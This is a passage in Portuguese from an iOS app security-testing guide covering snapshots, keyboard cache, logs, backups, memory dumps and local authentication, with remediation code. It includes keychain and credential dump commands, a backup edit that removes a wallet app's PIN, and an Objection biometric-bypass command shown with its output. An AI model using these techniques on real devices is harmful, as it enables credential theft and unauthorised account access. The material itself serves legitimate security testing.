3. O cache também pode ser desativado definindo a Política de Cache para [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Isso desativará o armazenamento de cache de qualquer forma, seja na memória ou no disco.
|
||
|
||
### Snapshots
|
||
|
||
Sempre que você pressiona o botão home, o iOS **tira um snapshot da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através de** **reinicializações**). Estes são os snapshots que você também pode acessar ao tocar duas vezes no botão home para alternar entre aplicativos.
|
||
|
||
A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, o último snapshot é armazenado na sandbox do aplicativo em `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).
|
||
|
||
Uma maneira de prevenir esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar o snapshot usando a função `ApplicationDidEnterBackground()`.
|
||
|
||
A seguir, um método de remediação de exemplo que definirá um screenshot padrão.
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objetivo-C:
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
Isso define a imagem de fundo para `overlayImage.png` sempre que o aplicativo é minimizado. Isso impede vazamentos de dados sensíveis porque `overlayImage.png` sempre substituirá a visualização atual.
|
||
|
||
### Keychain
|
||
|
||
Ferramentas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) podem ser usadas para extrair o keychain (o dispositivo deve estar com jailbreak).\
|
||
Você também pode usar `ios keychain dump` de [**Objection**](https://github.com/sensepost/objection)**.**
|
||
|
||
**NSURLCredential**
|
||
|
||
**NSURLCredential** é a classe perfeita para **armazenar nome de usuário e senha no keychain**. Não é necessário se preocupar com NSUserDefaults nem com nenhum wrapper de keychain.\
|
||
Uma vez que o usuário está logado, você pode armazenar seu nome de usuário e senha no keychain:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
Você pode usar o `ios nsurlcredentialstorage dump` do **Objection** para despejar esses segredos.
|
||
|
||
## Teclados Personalizados/Cache do Teclado
|
||
|
||
A partir do iOS 8.0, a Apple permite instalar extensões personalizadas para iOS, como teclados personalizados.\
|
||
Os teclados instalados podem ser gerenciados via **Configurações** > **Geral** > **Teclado** > **Teclados**\
|
||
Teclados personalizados podem ser usados para **farejar** as **teclas digitadas** e enviá-las para o servidor do atacante. No entanto, observe que **teclados personalizados que requerem conectividade de rede serão notificados ao usuário.**\
|
||
Além disso, o **usuário pode alternar para um teclado diferente** (mais confiável) **para introduzir as credenciais.**
|
||
|
||
Além disso, **aplicativos podem impedir que seus usuários usem teclados personalizados** dentro do app (ou pelo menos para partes sensíveis do app).
|
||
|
||
{% hint style="warning" %}
|
||
É recomendado não permitir teclados de terceiros se você considerar que os usuários não precisarão deles.
|
||
{% endhint %}
|
||
|
||
Observe que, por causa da autocorreção e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache se o atributo **secureTextEntry** não estiver definido como **true** ou se **autoCorrectionType** não estiver definido como **UITextAutoCorrectionTypeNo.**
|
||
|
||
Por padrão, os teclados **armazenam esse cache** dentro do sandbox dos aplicativos no arquivo `Library/Keyboard/{locale}-dynamic-text.dat` ou em `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. No entanto, ele pode estar salvando os dados em outro lugar.\
|
||
É possível redefinir o cache em _**Configurações**_ > _**Geral**_ > _**Redefinir**_ > _**Redefinir Dicionário do Teclado**_
|
||
|
||
{% hint style="info" %}
|
||
Portanto, **verifique sempre esses arquivos** e procure por possíveis **informações sensíveis**.\
|
||
**Interceptar o tráfego de rede** é outra maneira de verificar se o teclado personalizado está enviando teclas digitadas para um servidor remoto.
|
||
{% endhint %}
|
||
|
||
O [protocolo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) é usado para o cache do teclado. As classes UITextField, UITextView e UISearchBar suportam automaticamente este protocolo e oferecem as seguintes propriedades:
|
||
|
||
* `var autocorrectionType: UITextAutocorrectionType` determina se a autocorreção está ativada durante a digitação. Quando a autocorreção está ativada, o objeto de texto rastreia palavras desconhecidas e sugere substituições adequadas, substituindo o texto digitado automaticamente, a menos que o usuário anule a substituição. O valor padrão desta propriedade é `UITextAutocorrectionTypeDefault`, que para a maioria dos métodos de entrada ativa a autocorreção.
|
||
* `var secureTextEntry: BOOL` determina se a cópia de texto e o cache de texto são desativados e oculta o texto que está sendo inserido para `UITextField`. O valor padrão desta propriedade é `NO`.
|
||
|
||
**Para identificar esse comportamento no código:**
|
||
|
||
* Procure no código-fonte por implementações semelhantes, como
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
* Abra arquivos xib e storyboard no `Interface Builder` do Xcode e verifique os estados de `Secure Text Entry` e `Correction` no `Attributes Inspector` para o objeto apropriado.
|
||
|
||
O aplicativo deve impedir o armazenamento em cache de informações sensíveis inseridas em campos de texto. Você pode evitar o armazenamento em cache desativando-o programaticamente, usando a diretiva `textObject.autocorrectionType = UITextAutocorrectionTypeNo` nos UITextFields, UITextViews e UISearchBars desejados. Para dados que devem ser mascarados, como PINs e senhas, defina `textObject.secureTextEntry` para `YES`.
|
||
```objectivec
|
||
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **Logs**
|
||
|
||
As formas mais comuns de depurar código são usando logs, e a aplicação **pode imprimir informações sensíveis dentro dos logs**.\
|
||
Nas versões do iOS 6 e anteriores, os logs eram legíveis por todos (um aplicativo malicioso poderia ler logs de outros aplicativos e extrair informações sensíveis de lá). **Atualmente, aplicativos só podem acessar seus próprios logs**.
|
||
|
||
No entanto, um **atacante** com **acesso físico** a um dispositivo **desbloqueado** pode conectá-lo a um computador e **ler os logs** (note que os logs escritos no disco por um aplicativo não são removidos se o aplicativo for desinstalado).
|
||
|
||
É recomendado **navegar por todas as telas** do aplicativo e **interagir** com **cada** elemento da UI e **funcionalidade** e fornecer texto de entrada em todos os campos de texto e **revisar os logs** em busca de **informações sensíveis** expostas.
|
||
|
||
Use as seguintes palavras-chave para verificar o código-fonte do aplicativo em busca de declarações de log predefinidas e personalizadas:
|
||
|
||
* Para funções predefinidas e integradas:
|
||
* NSLog
|
||
* NSAssert
|
||
* NSCAssert
|
||
* fprintf
|
||
* Para funções personalizadas:
|
||
* Logging
|
||
* Logfile
|
||
|
||
**Monitorando Logs do Sistema**
|
||
|
||
Muitos aplicativos registram mensagens informativas (e potencialmente sensíveis) no log do console. O log também contém relatórios de falhas e outras informações úteis.
|
||
|
||
Você pode usar estas ferramentas:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To get the device logs
|
||
```
|
||
Você pode coletar logs do console através da janela **Devices** do Xcode da seguinte forma:
|
||
|
||
1. Inicie o Xcode.
|
||
2. Conecte seu dispositivo ao computador host.
|
||
3. Escolha **Window** -> **Devices and Simulators**.
|
||
4. Clique no seu dispositivo iOS conectado na seção esquerda da janela Devices.
|
||
5. Reproduza o problema.
|
||
6. Clique no botão **Open Console** localizado na área superior direita da janela Devices para visualizar os logs do console em uma janela separada.
|
||
|
||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>)
|
||
|
||
Você também pode se conectar ao shell do dispositivo conforme explicado em Accessing the Device Shell, instalar **socat** via **apt-get** e executar o seguinte comando:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
|
||
========================
|
||
ASL is here to serve you
|
||
> watch
|
||
OK
|
||
|
||
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
|
||
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
|
||
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
|
||
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
|
||
...
|
||
```
|
||
```markdown
|
||
## Backups
|
||
|
||
O iOS inclui recursos de backup automático que criam cópias dos dados armazenados no dispositivo. Você pode **fazer backups do iOS** a partir do seu computador host usando o iTunes (até o macOS Catalina) ou o Finder (a partir do macOS Catalina), ou através do recurso de backup do iCloud. Em ambos os casos, o backup inclui quase todos os dados armazenados no dispositivo iOS, exceto dados altamente sensíveis, como informações do Apple Pay e configurações do Touch ID.
|
||
|
||
Como o iOS faz backup de aplicativos instalados e seus dados, uma preocupação óbvia é se **dados sensíveis do usuário** armazenados pelo aplicativo podem **vazar involuntariamente através do backup**. Outra preocupação, embora menos óbvia, é se **configurações de configuração sensíveis usadas para proteger dados ou restringir a funcionalidade do aplicativo podem ser adulteradas para alterar o comportamento do aplicativo após restaurar um backup modificado**. Ambas as preocupações são válidas e essas vulnerabilidades provaram existir em um grande número de aplicativos hoje.
|
||
|
||
Um backup de um dispositivo no qual um aplicativo móvel foi instalado incluirá todos os subdiretórios (exceto `Library/Caches/`) e arquivos no [diretório privado do aplicativo](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12).\
|
||
Portanto, **evite armazenar dados sensíveis em texto simples dentro de qualquer um dos arquivos ou pastas que estão no diretório privado do aplicativo ou subdiretórios**.
|
||
|
||
Embora todos os arquivos em `Documents/` e `Library/Application Support/` sejam sempre feitos backup por padrão, você pode [excluir arquivos do backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28) chamando `NSURL setResourceValue:forKey:error:` com a chave `NSURLIsExcludedFromBackupKey`.\
|
||
Você pode usar as propriedades do sistema de arquivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple_ref/c/data/NSURLIsExcludedFromBackupKey) e [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir arquivos e diretórios dos backups.
|
||
|
||
{% hint style="warning" %}
|
||
Portanto, ao verificar o backup de um aplicativo, você deve verificar se **alguma informação sensível** é acessível e se você pode **modificar algum comportamento sensível** do aplicativo **modificando alguma configuração do backup** e restaurando o backup.
|
||
{% endhint %}
|
||
|
||
**Como testar**
|
||
|
||
Comece **criando um backup do dispositivo** (você pode fazer isso usando o Finder) e descobrindo onde o backup está armazenado. A documentação oficial da Apple ajudará você a [localizar backups do seu iPhone, iPad e iPod touch](https://support.apple.com/en-us/HT204215).
|
||
|
||
Uma vez que você encontrou o backup do dispositivo (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`), você pode começar a procurar por informações sensíveis usando, por exemplo, grep, ou usando ferramentas como [iMazing](https://imazing.com)).
|
||
|
||
Para identificar se um backup está criptografado, você pode verificar a chave chamada "IsEncrypted" do arquivo "Manifest.plist", localizado na raiz do diretório de backup. O exemplo a seguir mostra uma configuração indicando que o backup está criptografado:
|
||
```
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
Caso você precise trabalhar com um backup criptografado, existem alguns scripts Python no [repositório GitHub da DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, que servirão como um bom ponto de partida. No entanto, observe que eles podem não funcionar com as últimas versões do iTunes/Finder e podem precisar de ajustes.
|
||
|
||
Você também pode usar a ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) para ler e extrair arquivos de um backup iOS criptografado por senha com facilidade.
|
||
|
||
**Como modificar o comportamento**
|
||
|
||
No aplicativo de carteira de bitcoin de código aberto, [Bither](https://github.com/bither/bither-ios), você verá que é possível configurar um PIN para bloquear a UI.\
|
||
Esse PIN é armazenado no arquivo `net.bither.plist` dentro da **chave pin_code**.\
|
||
Se você limpar essa chave desse plist no backup e restaurar o backup, você poderá acessar a carteira.
|
||
|
||
## Testando Memória para Dados Sensíveis
|
||
|
||
Em algum momento, informações sensíveis serão armazenadas na memória. O objetivo é garantir que essas informações sejam expostas pelo menor tempo possível.
|
||
|
||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo muito propenso a erros porque os dumps fornecem os dados deixados por funções executadas e você pode perder a execução de etapas críticas. Além disso, é muito fácil negligenciar dados durante a análise, a menos que você conheça a pegada dos dados que está procurando (seja seu valor exato ou seu formato). Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você localize a chave na memória, a menos que encontre seu valor por outros meios.
|
||
|
||
**Recuperando e Analisando um Dump de Memória**
|
||
|
||
Seja você usando um dispositivo com jailbreak ou sem jailbreak, você pode despejar a memória do processo do aplicativo com [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump).
|
||
|
||
Após a memória ter sido despejada (por exemplo, para um arquivo chamado "memory"), dependendo da natureza dos dados que você está procurando, você precisará de um conjunto de ferramentas diferentes para processar e analisar esse dump de memória. Por exemplo, se você estiver focando em strings, pode ser suficiente para você executar o comando `strings` ou `rabin2 -zz` para extrair essas strings.
|
||
```bash
|
||
# using strings
|
||
$ strings memory > strings.txt
|
||
|
||
# using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
Abra `strings.txt` no seu editor favorito e analise-o para identificar informações sensíveis.
|
||
|
||
No entanto, se você quiser inspecionar outros tipos de dados, é melhor usar o radare2 e suas capacidades de busca. Consulte a ajuda do radare2 sobre o comando de busca (`/?`) para mais informações e uma lista de opções. A seguir, apresenta-se apenas um subconjunto delas:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
|
||
[0x00000000]> /?
|
||
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|
||
|Use io.va for searching in non virtual addressing spaces
|
||
| / foo\x00 search for string 'foo\0'
|
||
| /c[ar] search for crypto materials
|
||
| /e /E.F/i match regular expression
|
||
| /i foo search for string 'foo' ignoring case
|
||
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
|
||
| /v[1248] value look for an `cfg.bigendian` 32bit value
|
||
| /w foo search for wide string 'f\0o\0o\0'
|
||
| /x ff0033 search for hex string
|
||
| /z min max search for strings of given size
|
||
...
|
||
```
|
||
**Análise de Memória em Tempo de Execução**
|
||
|
||
Ao usar [**r2frida**](https://github.com/nowsecure/r2frida), você pode analisar e inspecionar a memória do aplicativo enquanto está em execução e sem a necessidade de despejá-la. Por exemplo, você pode executar os comandos de busca anteriores do r2frida e procurar na memória por uma string, valores hexadecimais, etc. Ao fazer isso, lembre-se de adicionar uma barra invertida `\` antes do comando de busca (e qualquer outro comando específico do r2frida) após iniciar a sessão com `r2 frida://usb//<nome_do_seu_app>`.
|
||
|
||
## Criptografia Quebrada
|
||
|
||
### Processos de Gerenciamento de Chaves Inadequados
|
||
|
||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois algum processo de engenharia reversa poderia permitir que atacantes extraíssem as informações confidenciais.
|
||
|
||
### Uso de Algoritmos Inseguros e/ou Obsoletos
|
||
|
||
Desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar senhas, por exemplo, devem ser usados hashes **resistentes** à força bruta com sal.
|
||
|
||
### Verificação
|
||
|
||
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/segredos **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||
|
||
É interessante saber que você pode **monitorar** algumas **bibliotecas** de **cripto** automaticamente usando **objection** com:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, acesse [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## Autenticação Local
|
||
|
||
O testador deve estar ciente de que **a autenticação local deve sempre ser aplicada em um ponto final remoto** ou com base em um primitivo criptográfico. Atacantes podem facilmente contornar a autenticação local se nenhum dado retornar do processo de autenticação.
|
||
|
||
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) fornece um conjunto de APIs para desenvolvedores estenderem um diálogo de autenticação ao usuário. No contexto de conexão com um serviço remoto, é possível (e recomendado) utilizar o [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) para implementar autenticação local.
|
||
|
||
O sensor de **ID por impressão digital** é operado pelo [coprocessador de segurança SecureEnclave](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) e não expõe dados da impressão digital a outras partes do sistema. Além do Touch ID, a Apple introduziu o _Face ID_: que permite autenticação baseada em reconhecimento facial.
|
||
|
||
Desenvolvedores têm duas opções para incorporar autenticação Touch ID/Face ID:
|
||
|
||
* `LocalAuthentication.framework` é uma API de alto nível que pode ser usada para **autenticar o usuário via Touch ID**. O aplicativo não pode acessar dados associados à impressão digital cadastrada e é notificado apenas se a autenticação foi bem-sucedida.
|
||
* `Security.framework` é uma API de nível mais baixo para acessar [serviços de keychain](https://developer.apple.com/documentation/security/keychain\_services). Esta é uma opção segura se seu aplicativo precisa **proteger alguns dados secretos com autenticação biométrica**, já que o controle de acesso é gerenciado em nível de sistema e não pode ser facilmente contornado. `Security.framework` tem uma API em C, mas existem vários [wrappers de código aberto disponíveis](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), tornando o acesso ao keychain tão simples quanto ao NSUserDefaults.
|
||
|
||
{% hint style="danger" %}
|
||
Esteja ciente de que usar o `LocalAuthentication.framework` ou o `Security.framework` será um controle que pode ser contornado por um atacante, pois retorna apenas um booleano e nenhum dado para prosseguir. Veja [Don't touch me that way, por David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para mais detalhes.
|
||
{% endhint %}
|
||
|
||
### Framework de Autenticação Local
|
||
|
||
Desenvolvedores podem exibir um **prompt de autenticação** utilizando a função **`evaluatePolicy`** da classe **`LAContext`**. Duas políticas disponíveis definem formas aceitáveis de autenticação:
|
||
|
||
* `deviceOwnerAuthentication`(Swift) ou `LAPolicyDeviceOwnerAuthentication`(Objective-C): Quando disponível, o usuário é solicitado a realizar autenticação Touch ID. Se o Touch ID não estiver ativado, a senha do dispositivo é solicitada em vez disso. Se a senha do dispositivo não estiver habilitada, a avaliação da política falha.
|
||
* `deviceOwnerAuthenticationWithBiometrics` (Swift) ou `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): A autenticação é restrita a biometria onde o usuário é solicitado pelo Touch ID.
|
||
|
||
A função **`evaluatePolicy` retorna um valor booleano** indicando se o usuário foi autenticado com sucesso. O que significa que pode ser facilmente contornado (veja abaixo)
|
||
|
||
### Autenticação Local usando Keychain
|
||
|
||
As **APIs do keychain do iOS podem (e devem) ser usadas para implementar autenticação local**. Durante esse processo, o aplicativo armazena um token de autenticação secreto ou outro pedaço de dado secreto identificando o usuário no keychain. Para autenticar em um serviço remoto, o usuário deve desbloquear o keychain usando sua senha ou impressão digital para obter o dado secreto.
|
||
|
||
O keychain permite salvar itens com o atributo especial `SecAccessControl`, que permitirá acesso ao item do keychain apenas após o usuário passar pela autenticação Touch ID (ou senha, se tal opção de fallback for permitida pelos parâmetros do atributo).
|
||
|
||
No seguinte exemplo, salvaremos a string "test\_strong\_password" no keychain. A string pode ser acessada apenas no dispositivo atual enquanto a senha estiver configurada (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parâmetro) e após autenticação Touch ID para os dedos atualmente cadastrados apenas (`SecAccessControlCreateFlags.biometryCurrentSet` parâmetro):
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```swift
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
```markdown
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
Agora podemos solicitar o item salvo no keychain. Os serviços do keychain apresentarão o diálogo de autenticação ao usuário e retornarão dados ou nil, dependendo se uma impressão digital adequada foi fornecida ou não.
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### Detecção
|
||
|
||
A utilização de frameworks em um aplicativo também pode ser detectada analisando a lista de bibliotecas dinâmicas compartilhadas do binário do aplicativo. Isso pode ser feito usando `otool`:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo dos panos):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
### Contornando o Framework de Autenticação Local
|
||
|
||
#### Objection
|
||
|
||
[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) pode ser usado para contornar o LocalAuthentication. O Objection **utiliza o Frida para instrumentar a função `evaluatePolicy` de forma que ela retorne `True`** mesmo que a autenticação não tenha sido realizada com sucesso. Use o comando `ios ui biometrics_bypass` para contornar a autenticação biométrica insegura. O Objection registrará um trabalho, que substituirá o resultado de `evaluatePolicy`. Funcionará tanto em implementações Swift quanto Objective-C.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
Se vulnerável, o módulo irá automaticamente contornar o formulário de login.
|
||
|
||
#### Frida
|
||
|
||
Um exemplo de uso de **`evaluatePolicy`** da [aplicação DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
